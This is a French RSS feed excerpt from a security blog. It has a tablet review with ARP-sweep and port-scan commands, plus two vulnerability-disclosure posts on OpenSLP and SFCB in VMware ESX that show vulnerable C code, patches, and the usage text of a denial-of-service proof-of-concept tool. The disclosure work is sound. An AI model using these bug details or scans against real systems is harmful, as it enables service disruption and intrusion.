<p>La notice d'utilisation est succinte, mais diff&eacute;rentes astuces sont d&eacute;j&agrave; recens&eacute;es sur le Net. En vrac, le <a href="http://www.webosfrance.com/Astuce-TouchPad-Tout-savoir-sur-le-clavier-virtuel_a1023.html" target="_blank">clavier virtuel<a>, la <a href="http://www.webosfrance.com/Astuce-TouchPad-la-zone-de-notification_a1021.html" target="_blank">zone de notification</a>, le <a href="http://www.webosfrance.com/Patch-TouchPad-Ajouter-des-onglets-pour-les-icones-du-lanceur_a1029.html" target="_blank">rangement des ic&ocirc;nes</a>, ...</p>
<br/>

<p>C&ocirc;t&eacute; applicatif, je m'en suis pour le moment sorti sans acheter la moindre application. Par d&eacute;faut, les logiciels Acrobat Reader, Skype, ainsi qu'un navigateur et client de messagerie (plus d'autres trucs) sont disponibles. Grosso modo, il existe deux catalogues d'applications :
<ul>
<li>App Catalog, la version officielle accessible nativement depuis la tablette et proposant des applications "classiques"</li>
<li>Preware, installable <a href="http://www.precentral.net/how-use-preware-homebrew-apps-patches-and-themes" target="_blank">entre autres</a> via le kit de d&eacute;veloppement et fournissant lui aussi des applications "classiques" mais aussi des patchs (performances, s&eacute;curit&eacute;, rendu graphique), des noyaux optimis&eacute;s, des outils de monitoring (<a href="http://forums.precentral.net/webos-internals/244701-govnah.html" target="_blank">Govnah</a>), des composants Linux comme SSH (au choix openssh ou dropbear), bash, diff, ... Tout simplement <a href="http://www.webosfrance.com/Debuter-sous-webOS-avec-une-tablette-TouchPad-ou-un-smartphone-Pre-3-Pre-2-Pre-Plus-Veer-ou-Pixi_a1013.html" target="_blank">indispensable</a> !</li>
</ul>
<p>D'ailleurs, un moyen simple d'encourager Preware consiste &agrave; acheter <a href="https://developer.palm.com/appredirect/?packageid=org.preware.docs" target="_blank">leur doc &agrave; 1&euro;</a> et &agrave; r&eacute;diger une critique positive.</p>
<br/>

<p>Pour les joueurs : Angry Birds (4 versions disponibles dont la <a href="https://developer.palm.com/appredirect/?packageid=com.rovio.angrybirdshd" target="_blank">HD</a> soit une tonne de tableaux), <a href="https://developer.palm.com/appredirect/?packageid=com.galcon.app.cosmicnitro" target="_blank">Cosmic Nitro</a> pour se d&eacute;fouler et salir son &eacute;cran et des jeux "math&eacute;matiques" comme <a href="https://developer.palm.com/appredirect/?packageid=com.jasotec.app.woodenigma" target="_blank">Woodenigma</a>, <a href="https://developer.palm.com/appredirect/?packageid=net.hexage.totemo.lite" target="_blank">Totemo Lite</a> ou le classique <a href="https://developer.palm.com/appredirect/?packageid=com.orbsix.app.supersudokutouchdemo" target="_blank">Sudoku</a>. Les enfants (d&egrave;s leur plus jeune &acirc;ge en raison de la convivialit&eacute; de l'interface) ne sont pas oubli&eacute;s : <a href="https://developer.palm.com/appredirect/?packageid=com.fr.useradgents.warner.scooby" target="_blank">Scooby-Doo</a>, <a href="https://developer.palm.com/appredirect/?packageid=com.dseffects.matchcards" target="_blank">Memory</a>, <a href="https://developer.palm.com/appredirect/?packageid=net.wizardapps.doodle" target="_blank">Doodle</a>, <a href="https://developer.palm.com/appredirect/?packageid=com.zone303.differences" target="_blank">Differences</a>.</p>
<br/>

<p>Certaines incoh&eacute;rences existent c&ocirc;t&eacute; App Catalog. Par exemple, le lecteur video KalemSoft est disponible en v0.3.4 &agrave; 7&euro; sur l'App Catalog, alors que la v0.3.7 est librement t&eacute;l&eacute;chargeable au format <a href="http://www.oesf.org/index.php?title=IPKG_Howto" target="_blank">IPK</a> depuis le <a href="http://www.kalemsoft.com/site/demos/com.kalemsoft.ksmplayera_0.3.7_tp.ipk" target="_blank">site de l'&eacute;diteur</a>. Il suffit ensuite d'installer le paquet via Preware, typiquement en acc&eacute;dant le lien depuis le TouchPad. Ce qui tombe bien, vu que c'est le seul lecteur vid&eacute;o potable que j'ai pu trouver ;-)</p>
<br/>

<p>Evidemment, j'ai aussi regard&eacute; les aspects S&eacute;curit&eacute;. Tout d'abord, HP fournit des mises &agrave; jour OTA (<i>"over the air"</i>) relativement rapidement (<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1774" target="_blank">CVE-2011-1774</a> a &eacute;t&eacute; <a href="http://kb.hpwebos.com/wps/portal/kb2/na/touchpad/touchpad/wifi/solutions/article/18666_en.html" target="_blank">corrig&eacute;e</a> 3 semaines apr&egrave;s notification). Pour les besoins de plus grande r&eacute;activit&eacute; (par exemple le coup des certificats <a href="http://googleonlinesecurity.blogspot.com/2011/08/update-on-attempted-man-in-middle.html" target="_blank">DigiNotar</a>), Preware r&eacute;pond parfaitement au besoin en <a href="http://twitter.com/#!/webosinternals/statuses/108657931561603073" target="_blank">publiant un patch</a> dans les heures qui ont suivi. Toutefois, cela reste un Linux avec une GUI tournant avec les droits root et une surface d'attaque <i>"client side"</i> assez importante. Evidemment, pas de chiffrement int&eacute;gral, ni m&ecirc;me partiel (&agrave; la TrueCrypt), juste quelques gestionnaires de mots de passe comme CryptoNotes ou SecuStore (non test&eacute;s).</p>
<br/>

<p>Si on veut utiliser la tablette comme outil d'attaque, on note rapidement la pr&eacute;sence d'un chipset <a href="http://www.techrepublic.com/photos/cracking-open-the-hp-touchpad/6253940?seq=64" target="_blank">Atheros AR600x</a>, qui &eacute;quipe aussi OpenMoko et le Kindle, et qui semble &ecirc;tre utilisable pour sniffer voire injecter des paquets ;-) Cela pourrait &ecirc;tre utile le jour o&ugrave; BackTrack y sera installable facilement. Quelques outils de reconnaissance sont disponibles nativement, comme pscan et arping :</p>
<pre>
NicolasHPTouchPad root # for i in `seq 1 254`
> do
> arping  -w 1 -c 1 192.168.1.$i|grep reply
> done
Unicast reply from 192.168.1.1 [00:DE:AD:31:0B:01]  7.798ms
Unicast reply from 192.168.1.89 [00:BE:EF:76:01:89]  108.174ms
Unicast reply from 192.168.1.202 [00:BA:BE:14:D4:F8]  108.174ms

NicolasHPTouchPad root # pscan 192.168.1.1
Scanning 192.168.1.1 ports 1 to 1024
 Port   Proto   State   Service
  443   tcp     open    https
1023 closed, 1 open, 0 timed out (or blocked) ports
</pre>
<br/>

<p>Enfin, Preware propose <a href="http://apps.webosroundup.com/Catalog/org.webosinternals.impostah" target="_blank">Impostah</a> qui permet de consulter voire &eacute;diter des dizaines d'options diff&eacute;rentes. C'est impossible &agrave; r&eacute;sumer, alors voici juste un exemple : il est possible de basculer d'un compte webOS (li&eacute; &agrave; un pays) &agrave; un autre et ainsi de <a href="http://inntw.wordpress.com/2011/08/22/getting-started-with-your-touchpad-uk-kindle-app/" target="_blank">contourner</a> les restrictions g&eacute;ographiques pr&eacute;sentes dans l'App Catalog afin d'installer le <a href="https://developer.palm.com/appredirect/?packageid=com.palm.app.kindle" target="_blank">Kindle</a>. Dans ce cas pr&eacute;cis, on peut aussi se contenter d'installer via Preware le paquet IPK correspondant, disponible sur le Net sous le nom de com.palm.app.kindle_0.10.494660_all.ipk.</p> 
<br/>

<p>Pour conclure, je suis tr&egrave;s content de mon achat, qui est d&eacute;j&agrave; tr&egrave;s utile en soi et qui surtout fournit un terrain d'investigation int&eacute;ressant. Son potentiel devrait cro&icirc;tre rapidement dans les mois &agrave; venir, en raison de la multiplication des utilisateurs et donc de l'offre logicielle. De plus, j'appr&eacute;cie l'esprit dans lequel HP s'est plac&eacute; en fournissant tous les moyens possibles d'acc&egrave;s au coeur du syst&egrave;me, dont un <a href="https://developer.palm.com/content/api/dev-guide/tools/emulator.html" target="_blank">&eacute;mulateur</a> fonctionnant sous VirtualBox. Ainsi, plus d'excuse pour ne pas plonger les mains dans le cambouis pour faire les modifications souhait&eacute;es. Du coup, je bosse sur une version de <a href="http://code.google.com/p/shellinabox/" target="_blank">shellinabox</a> pour TouchPad. Plus d'infos quand cela sera pleinement fonctionnel !</p>]]>
</description>
</item>
<item>
<link>http://www.agarri.fr/blog/../kom/archives/2011/07/25/audit_partiel_des_composants_open_source_int_eacutegr_eacutes__agrave_vmware_esx_slp/index.html</link>
<guid isPermaLink="true">http://www.agarri.fr/blog/../kom/archives/2011/07/25/audit_partiel_des_composants_open_source_int_eacutegr_eacutes__agrave_vmware_esx_slp/index.html</guid>
<title>Audit partiel des composants Open Source intégrés à VMware ESX (SLP)</title>
<dc:date>2011-07-25T14:50:16+02:00</dc:date>
<dc:creator>Nicolas Grégoire</dc:creator>
<dc:subject>vulnérabilités</dc:subject>
<description>
<![CDATA[<p>Cet article est la deuxi&egrave;me partie d'une &eacute;tude partielle des composants <i>Open Source</i> int&eacute;gr&eacute;s aux produits VMware. La partie pr&eacute;c&eacute;dente, traitant de WBEM et SFCB est accessible <a href="http://www.agarri.fr/kom/archives/2011/07/10/audit_partiel_des_composants_open_source_int_eacutegr_eacutes__agrave_vmware_esx_sfcb/index.html" target="_blank">ici</a>. Cette fois, le focus se fera sur le composant <a href="http://en.wikipedia.org/wiki/Service_Location_Protocol" target="_blank">SLP</a> (pour <i>Service Location Protocol</i>).</p>
<br/>
<p><i>SLP</i> permet aux diff&eacute;rents &eacute;quipements d'un r&eacute;seau de connaitre les services offerts sur ce r&eacute;seau. Typiquement, un &eacute;quipement agit en tant que client (dit <i>User Agent</i> ou <i>UA</i>) et/ou en tant que serveur (dit <i>Service Agent</i> ou <i>SA</i>). Dans les gros d&eacute;ploiements, des &eacute;quipements additionnels (<i>Directory Agents</i> ou <i>DA</i>) permettent de limiter le trafic &eacute;chang&eacute;. Les communications utilisent UDP et le port 427, &agrave; moins que les donn&eacute;es soient trop grandes pour un seul paquet, auquel cas TCP est employ&eacute; (sur le m&ecirc;me port). Les annonces et les recherches sont usuellement r&eacute;alis&eacute;es en multicast. La version 1 de ce protocole est d&eacute;finie par la <a href="http://www.ietf.org/rfc/rfc2165.txt" target="_blank">RFC 2165</a> alors que la version 2 l'est par la <a href="http://www.ietf.org/rfc/rfc2608.txt" target="_blank">RFC 2608</a>.</p>
<br/>
<p>Les produits VMware ESX, tout comme Novell eDirectory, utilisent l'impl&eacute;mentation de r&eacute;f&eacute;rence <a href="http://www.openslp.org/" target="_blank">OpenSLP</a>, connue pour tourner sous de nombreux OS dont Windows, Linux, FreeBSD, MacOS X, Solaris, ... Le logiciel est distribu&eacute; sous licence Caldera (similaire &agrave; la licence BSD), ce qui permet son utilisation en partie ou en totalit&eacute; dans des logiciels propri&eacute;taires. Ce point sera &agrave; garder en m&eacute;moire si on souhaite maintenir une liste des impl&eacute;mentations vuln&eacute;rables. La version utilis&eacute;e lors des tests est la 1.2.1, qui fut publi&eacute;e en *2005* afin d'int&eacute;grer les correctifs de s&eacute;curit&eacute; propos&eacute;s par l'&eacute;quipe de SUSE suite &agrave; son <a href="http://www.novell.com/linux/security/advisories/2005_15_openslp.html" target="_blank">audit de code</a>.</p>
<br/>
<p>Afin de rester dans le sc&eacute;nario du pari (compromission depuis le r&eacute;seau d'administration), les routines de <i>parsing</i> des paquets re&ccedil;us furent les premi&egrave;res examin&eacute;es. L'&eacute;quipe SUSE avait bien boss&eacute;, les nombreux <i>offsets</i> &eacute;tant syst&eacute;matiquement valid&eacute;s avant usage. Enfin de cibler facilement le code exerc&eacute; par des paquets malform&eacute;s, l'extension <a href="http://ltp.sourceforge.net/coverage/lcov.php" target="_blank">lcov</a> (un <i>front-end</i> graphique &agrave; l'outil de couverture de code <a href="http://gcc.gnu.org/onlinedocs/gcc/Gcov.html" target="blank">gcov</a> fourni avec GCC) fut utilis&eacute;e :</p>
<br/>
<center><img src="http://www.agarri.fr/docs/openslp_simple_coverage.png"></center>
<br/>
<p>Il apparut rapidement que la fonction de traitement des extensions SLP v2 pr&eacute;sentait un probl&egrave;me classique de parcours de liste chain&eacute;e :</p>
<p><pre>
850     static int v2ParseExtension(SLPBuffer buffer, SLPMessage * msg)
851     {
852     /*  0                   1                   2                   3
853         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
854        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
855        |         Extension ID          |       Next Extension Offset   |
856        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
857        | Offset, contd.|                Extension Data                 \
858        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ */
859     
860        int result = 0;
861        int nextoffset = msg->header.extoffset;
862        while (nextoffset)
863        {
864           int extid;
865           buffer->curpos = buffer->start + nextoffset;
866           if (buffer->curpos + 5 > buffer->end)
867              return SLP_ERROR_PARSE_ERROR;
868     
869           extid = GetUINT16(&buffer->curpos);
870           nextoffset = GetUINT24(&buffer->curpos);
871           switch (extid)
872           {
                 [ ... encore du code ... ]
892           }
893        }
894        return result;
895     }
</pre></p>
<p>Ce qui peut &ecirc;tre interpr&eacute;t&eacute; comme suit :</p>
<p>
<ul>
<li>Si la valeur de <i>msg->header.extoffset</i> est diff&eacute;rente de z&eacute;ro (ligne 862) alors on avance jusqu'&agrave; cette extension (ligne 865)</li>
<li>Une erreur est lev&eacute;e si le <i>buffer</i> ne contient pas de quoi stocker une extension de taille minimale, soit 5 octets (ligne 867)</li>
<li>L'extension courante est trait&eacute;e (ligne 871) et le traitement se poursuit si <i>nextoffset</i> est diff&eacute;rent de z&eacute;ro (ligne 862)</li>
</ul>
</p>
<br/>
<p>Cette section de code contient une vuln&eacute;rabilit&eacute; de type d&eacute;ni de service, saurez-vous trouver laquelle ?</p>
<p>La r&eacute;ponse est donn&eacute;e quelques lignes plus bas ...</p>
<p>
.</br>.</br>.</br>.</br>.</br>.</br>.
</p>
<p>Cette vuln&eacute;rabilit&eacute; est li&eacute;e &agrave; l'utilisation de <i>nextoffset</i>, qui est un pointeur relatif au d&eacute;but du paquet : une boucle infinie sera cr&eacute;&eacute;e si une extension pointe vers elle-m&ecirc;me ou vers une extension pr&eacute;c&eacute;dente (<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3609" target="_blank">CVE-2010-3609</a>). En effet, un invariant implicite n'est jamais v&eacute;rifi&eacute;. Cet invariant pourrait &ecirc;tre exprim&eacute; sous la forme suivante : "le pointeur vers l'extension suivante doit &ecirc;tre sup&eacute;rieur ou &eacute;gal au pointeur vers l'extension courante additionn&eacute; de la taille minimale d'une extension (5 octets)". Pour autant, l'impl&eacute;mentation de cet invariant n'a pas &eacute;t&eacute; retenu par les d&eacute;veloppeurs OpenSLP, ceux-ci optant pour une solution amha bien plus compliqu&eacute;e, consistant &agrave; construire et v&eacute;rifier une liste d'extensions (cf. <a href="http://openslp.svn.sourceforge.net/viewvc/openslp/trunk/openslp/common/slp_v2message.c?r1=1524&r2=1647&pathrev=1647" target="_blank">diff color&eacute;</a>). Mais bon, le correctif fait bien son travail, donc on ne va pas chipoter sur l'&eacute;l&eacute;gance de la chose.</p>
<br/>
<p>Les plus astucieux auront d&eacute;tect&eacute; (lignes 865 et 866) quelque chose ressemblant &eacute;trangement &agrave; un d&eacute;bordement d'entier. Bien vu ! Sauf que la variable <i>buffer->curpos</i> &agrave; laquelle on ajoute 5 vient du champ <i>nextoffset</i> qui est sur seulement 3 octets. Donc, &agrave; moins que <i>buffer->start</i> (que l'attaquant ne contr&ocirc;le pas) soit sup&eacute;rieur &agrave; 0xFF000000, cela n'est pas exploitable.</p>
<br/>
<p>C&ocirc;t&eacute; correctifs :</p>
<ul>
<li>La version stable d'OpenSLP n'inclut pas encore de correctif, neuf mois apr&egrave;s la correction du <a href="http://openslp.svn.sourceforge.net/viewvc/openslp?view=revision&revision=1647" target="_blank">trunk</a></li>
<li>VMware a publi&eacute; des correctifs pour <a href="http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1032820" target="_blank">ESXi</a> et <a href="http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1032814" target="_blank">ESX</a> v4</li>
<li>Novell semble s'&ecirc;tre content&eacute; de proposer des <a href="http://support.novell.com/security/cve/CVE-2010-3609.html" target="_blank">correctifs</a> pour les diff&eacute;rentes versions de SUSE Linux, oubliant (ou patchant silencieusement) son annuaire eDirectory</li>
<li>SUSE utilise son propre <a href="https://launchpad.net/ubuntu/+source/openslp-dfsg/+changelog" target="_blank">patch</a>, bien plus simple que celui d'OpenSLP (10 lignes au lieu de 60)</li>
<li>Ce patch Suse a &eacute;t&eacute; r&eacute;utilis&eacute; par <a href="http://www.ubuntu.com/usn/usn-1118-1/" target="_blank">Ubuntu</a> et le sera par <a href="https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2010-3609" target="_blank">RedHat et Fedora</a></li>
</ul>
</p>
<br/>
Petit zoom sur le <a href="https://launchpad.net/ubuntu/+source/openslp-dfsg/+changelog" target="_blank">patch</a> &eacute;crit par SUSE :</p>
<p><pre>
--- openslp-dfsg-1.2.1.orig/common/slp_message.c
+++ openslp-dfsg-1.2.1/common/slp_message.c
@@ -872,10 +872,19 @@
     int             extid;
     int             nextoffset;
     int             result  = SLP_ERROR_OK;
+    int             bufsz = (int)(buffer->end - buffer->start);
 
     nextoffset = message->header.extoffset;
     while(nextoffset)
     {
+        /* check for circular reference in list
+         * if the size gets below zero, we know we're
+         * reprocessing extensions in a loop.
+         */
+        bufsz -= 5;
+        if (bufsz <= 0) 
+            return SLP_ERROR_PARSE_ERROR;
+
         buffer->curpos = buffer->start + nextoffset;
         if(buffer->curpos + 5 >= buffer->end)
         {
</pre></p>
<br/>
<p>Le CERT-US a &eacute;t&eacute; contact&eacute; afin de faciliter la synchronisation entre &eacute;diteurs, mais sa note <a href="http://www.kb.cert.org/vuls/id/393783" target="_blank">VU#393783</a> sur le sujet ne couvre que quelques &eacute;diteurs. En effet, d'autres impl&eacute;mentations (ex: <a href="http://mslp.sourceforge.net/" target="_blank">mSLP</a> en Java) semblent &ecirc;tre elles aussi vuln&eacute;rables. Enfin, certains standards (comme <a href="http://en.wikipedia.org/wiki/SMI-S" target="_blank">SMI-S</a> pour le stockage) imposent l'utilisation de SLP. On trouve en ligne des <a href="http://www.snia.org/ctp/" target="_blank">d&eacute;tails</a> sur les tests de conformit&eacute; SNIA et la <a href="http://www.snia.org/ctp/conformingproviders/index.html" target="_blank">liste</a> des soci&eacute;t&eacute;s conformes, donc proposant un service SLP potentiellement vuln&eacute;rable.</p>
</br>
<p>En terme d'exploitation, les vecteurs sont nombreux. Plusieurs types de requ&ecirc;tes (dont <i>ServerRequest</i> et <i>AttributeRequest</i>) autorisent les extensions. Et le code vuln&eacute;rable est joignable en TCP ou UDP <i>unicast</i>, ainsi qu'en UDP <i>broadcast</i> et <i>multicast</i>. Un seul paquet spoof&eacute; peut donc suffire &agrave; saturer un nombre important d'&eacute;quipements, par exemple des baies SAN, des imprimantes ou des annuaires. Un serveur VMware sera relativement &eacute;pargn&eacute;, seule la CPU r&eacute;serv&eacute;e &agrave; la machine virtuelle <i>Service Console</i> (ou <i>COS</i>) &eacute;tant occup&eacute;e.</p>
</br>
<p>Un PoC permettant de d&eacute;clencher le bug dans diverses conditions (<a href="http://www.agarri.fr/docs/SLPick.py" target="_blank">SLPick.py</a>) est disponible. Il permet d'exploiter la totalit&eacute; des vecteurs r&eacute;seau :</p>
<p><pre>
$> ./SLPick.py -h
[=] SLPick : SLP client v0.4 (by Nicolas Gregoire)
Usage : ./SLPick.py [-h] [-m mode] [-p port] [-n number] [-s source_IP] [-t target_IP]
        [-h] Help (this text)
        [-m] Mode : tcp / unicast / broadcast / multicast (default is "unicast")
        [-p] Port : default is "427"
        [-s] Source IP Adress : no default (used only in multicast mode)
        [-t] Target IP Adress : no default (forced in multicast mode)
        [-n] Number of extensions : 0 (no bug) / 1 (default) / 2 (trailing extension)
        [-r] Request type : sr (ServerRequest, default) / ar (AttributeRequest)
</pre></p>]]>
</description>
</item>
<item>
<link>http://www.agarri.fr/blog/../kom/archives/2011/07/10/audit_partiel_des_composants_open_source_int_eacutegr_eacutes__agrave_vmware_esx_sfcb/index.html</link>
<guid isPermaLink="true">http://www.agarri.fr/blog/../kom/archives/2011/07/10/audit_partiel_des_composants_open_source_int_eacutegr_eacutes__agrave_vmware_esx_sfcb/index.html</guid>
<title>Audit partiel des composants Open Source intégrés à VMware ESX (SFCB)</title>
<dc:date>2011-07-10T21:00:02+02:00</dc:date>
<dc:creator>Nicolas Grégoire</dc:creator>
<dc:subject>vulnérabilités</dc:subject>
<description>
<![CDATA[<p>Suite &agrave; un pari (que j'ai depuis perdu) avec <a href="https://twitter.com/#!/marcolanie" target="_blank">Marc Olani&eacute;</a>, je devais trouver une ex&eacute;cution de code &agrave; distance dans les produits ESX/vSphere de VMware, simplement en lisant le code de projets <i>Open Source</i> embarqu&eacute;s dans ces produits. Cet article a pour objectif de pr&eacute;senter les vuln&eacute;rabilit&eacute;s identifi&eacute;es lors de cette analyse et leur impact (ou pas) sur ESX/vSphere. De plus, la publication des d&eacute;tails techniques permettra d'identifier d'autres produits incluant des versions vuln&eacute;rables de ces composants ou souffrant de bugs similaires. La premi&egrave;re partie, ici pr&eacute;sente, couvre le serveur CIMOM, alors que la deuxi&egrave;me (&agrave; venir) abordera SLP.</p>
<br/>
<p><a href="http://en.wikipedia.org/wiki/Web-Based_Enterprise_Management" target="_blank">WBEM</a> est une suite de protocoles veillant &agrave; fournir aux administrateurs d'informatique distribu&eacute;e (dite <i>Cloud</i>) des outils centralis&eacute;s de gestion, suivi et d&eacute;ploiement. <a href="http://sourceforge.net/apps/mediawiki/sblim/index.php?title=Main_Page" target="_blank">SBLIM</a> est l'impl&eacute;mentation de r&eacute;f&eacute;rence, sous Linux, de ces protocoles. La partie "serveur CIMOM" (pour <i>Common Information Model Object Manager</i>) est impl&eacute;ment&eacute;e sous le nom de <a href="http://sourceforge.net/apps/mediawiki/sblim/index.php?title=Sfcb" target="_blank">SFCB</a>.</p>
<br/>
<p>sfcbd (version test&eacute;e : 1.3.6) &eacute;coute sur les ports TCP/5988 (HTTP) ou TCP/5989 (HTTPS) et accepte les requ&ecirc;tes POST et <a href="http://www.brainbell.com/tutors/XML/XML_Book_B/Sending_Messages_Using_M_POST.htm" target="_blank">M-POST</a>. Ce service &eacute;tant avant tout un serveur Web "maison", la premi&egrave;re chose &agrave; tester (en dehors du GET de 4100 caract&egrave;res ;-) est la gestion de l'en-t&ecirc;te <i>Content-Length</i>, vu le nombre de vuln&eacute;rabilit&eacute;s li&eacute;es &agrave; ce traitement (Opera, Nagios, CA iGateway, Quicktime, Apache mod_proxy, Novell eDirectory, ...). Et on n'est pas d&eacute;&ccedil;u, l'oeil &eacute;tant imm&eacute;diatement attir&eacute; par un <i>memcpy()</i> (ligne 406) r&eacute;alis&eacute; sur un tampon dont la taille est fournie par l'attaquant (ligne 405) :</p>
<p><pre>
401     static int getPayload(CommHndl conn_fd, Buffer * b)
402     {
403        unsigned int c = b->length - b->ptr;
404        int rc = 0;
405        b->content = (char *) malloc(b->content_length + 8);
406        if (c) memcpy(b->content, (b->data) + b->ptr, c);
407     
408        if (c > b->content_length) {
409          mlogf(M_INFO,M_SHOW,"--- HTTP Content-Length is lying; content truncated\n");
410          c = b->content_length;
411        }
412     
413        rc = readData(conn_fd, (b->content) + c, b->content_length - c);
414        *((b->content) + b->content_length) = 0;
415        return rc;
416     }
</pre></p>
<p>Le crit&egrave;re de taille est bel et bien v&eacute;rifi&eacute;, mais *apr&egrave;s* la copie, donc trop tard. Et hop, un <i>heap overflow</i> (<a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-1937" target="_blank">CVE-2010-1937</a>) ! Le correctif pour cette vuln&eacute;rabilit&eacute; est trivial, et consiste simplement &agrave; v&eacute;rifier les donn&eacute;es *avant* de les utiliser (cf. le <a href="http://sblim.cvs.sourceforge.net/viewvc/sblim/sfcb/httpAdapter.c?r1=1.84&r2=1.85" target="_blank">diff color&eacute;</a>). Ce qui donne ce type de code :</p>
<p><pre>
401     static int getPayload(CommHndl conn_fd, Buffer * b)
402     {
403        unsigned int c = b->length - b->ptr;
404        int rc = 0;
405     
406        if (c > b->content_length) {
407          mlogf(M_INFO, M_SHOW,
408                "--- HTTP Content-Length is lying; rejecting %d %d\n", c, b->content_length);
409          return -1;
410        }
411     
412        b->content = (char *) malloc(b->content_length + 8);
413        if (c) memcpy(b->content, (b->data) + b->ptr, c);
414     
415        rc = readData(conn_fd, (b->content) + c, b->content_length - c);
416        *((b->content) + b->content_length) = 0;
417        return rc;
418     }
</pre></p>
<p>Pour autant, l'instruction <i>malloc(b->content_length + 8)</i> (ligne 412) est toujours vuln&eacute;rable &agrave; un <a href="http://cwe.mitre.org/data/definitions/680.html" target="_blank">d&eacute;bordement d'entier d&eacute;bouchant sur un d&eacute;bordement de tampon</a> si aucune v&eacute;rification pr&eacute;alable n'a lieu. La fonction <i>doHttpRequest()</i> r&eacute;alise en amont diverses v&eacute;rifications sur la valeur du champ <i>Content-Length</i>, dont deux qui nous int&eacute;ressent dans le cas pr&eacute;sent :</p>
<p><pre>
841              unsigned int maxLen;
842              if (getControlUNum("httpMaxContentLength", &maxLen) != 0) {
843                genError(conn_fd, &inBuf, 501, "Server misconfigured (httpMaxContentLength)", NULL);
844                _SFCB_TRACE(1, ("--- exiting: bad config httpMaxContentLength"));
845                commClose(conn_fd);
846                exit(1);
847              }
848              if((clen >= UINT_MAX) || ((maxLen) && (clen > maxLen))) {
849                 genError(conn_fd, &inBuf, 413, "Request Entity Too Large", NULL);
850                 _SFCB_TRACE(1, ("--- exiting: content-length too big"));      
851                 commClose(conn_fd);
852                 exit(1);
853              }
854              inBuf.content_length = clen;
</pre></p>
<p>La variable <i>clen</i> correspond au <i>b->content_length</i> de <i>getPayload()</i>. Nous avons donc trois cas possibles, selon la valeur de l'option de configuration <i>httpMaxContentLength</i> :</p>
<ul>
<li>elle n'est pas d&eacute;finie dans le fichier de configuration => une erreur est lev&eacute;e</li>
<li>elle est d&eacute;finie et vaut z&eacute;ro => la variable <i>clen</i> doit &ecirc;tre inf&eacute;rieure &agrave; UINT_MAX</li>
<li>elle est d&eacute;finie et est diff&eacute;rente de z&eacute;ro => la variable <i>clen</i> doit &ecirc;tre inf&eacute;rieure &agrave; UINT_MAX et inf&eacute;rieure ou &eacute;gale &agrave; <i>httpMaxContentLength</i></li>
</ul>
<p>Ce d&eacute;bordement d'entier est donc exploitable (<a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2054" target="_blank">CVE-2010-2054</a>) si <i>httpMaxContentLength</i> vaut z&eacute;ro ou est l&eacute;g&egrave;rement inf&eacute;rieure &agrave; UINT_MAX. Le correctif (cf. <a href="http://sblim.cvs.sourceforge.net/viewvc/sblim/sfcb/httpAdapter.c?r1=1.85&r2=1.86" target="_blank">diff color&eacute;</a>) se contente d'interdire la valeur z&eacute;ro :</p>
<p><pre>
842              if ((getControlUNum("httpMaxContentLength", &maxLen) != 0) || (maxLen == 0)) {
</pre></p>
<p>La couverture n'est donc pas totale. Un administrateur mal intentionn&eacute; pourrait par exemple positioner la variable &agrave; 4.294.967.290 (soit UINT_MAX - 5), et ainsi introduire un <i>heap overflow</i> exploitable &agrave; distance et sans authentification, sans pour autant impacter les aspects fonctionnels :-(</p>
<br/>
<p>Je me sentais du coup bien parti pour gagner mon pari ! Sauf que les versions test&eacute;es &agrave; l'&eacute;poque (VMware ESXi 3.5, ESXi 4 et ESX 4) int&eacute;graient une version ant&eacute;rieure et modifi&eacute;e de sfcbd (v1.3.3 sous ESX 4). CVE-2010-1937 y a &eacute;t&eacute; corrig&eacute; (silencieusement, c'est-&agrave;-dire sans informer ni ses clients ni le projet <i>Open Source</i> d'origine) et CVE-2010-2054 n'affecte pas les versions inf&eacute;rieures &agrave; 1.3.4.</p>
<br/>
<p>Carrramba ! Encore <a href="http://daniel.tourille.free.fr/Echecs/Caramba_encore_rate.jpg" target="_blank">rat&eacute;</a> ! Mais bon, la surface d'attaque d'un ESX c&ocirc;t&eacute; r&eacute;seau d'administration est vaste, et <a href="http://en.wikipedia.org/wiki/Service_Location_Protocol" target="_blank">SLP</a> fera l'objet de la deuxi&egrave;me partie de cette &eacute;tude ...</p>]]>
</description>
</item>
</channel>
</rss>

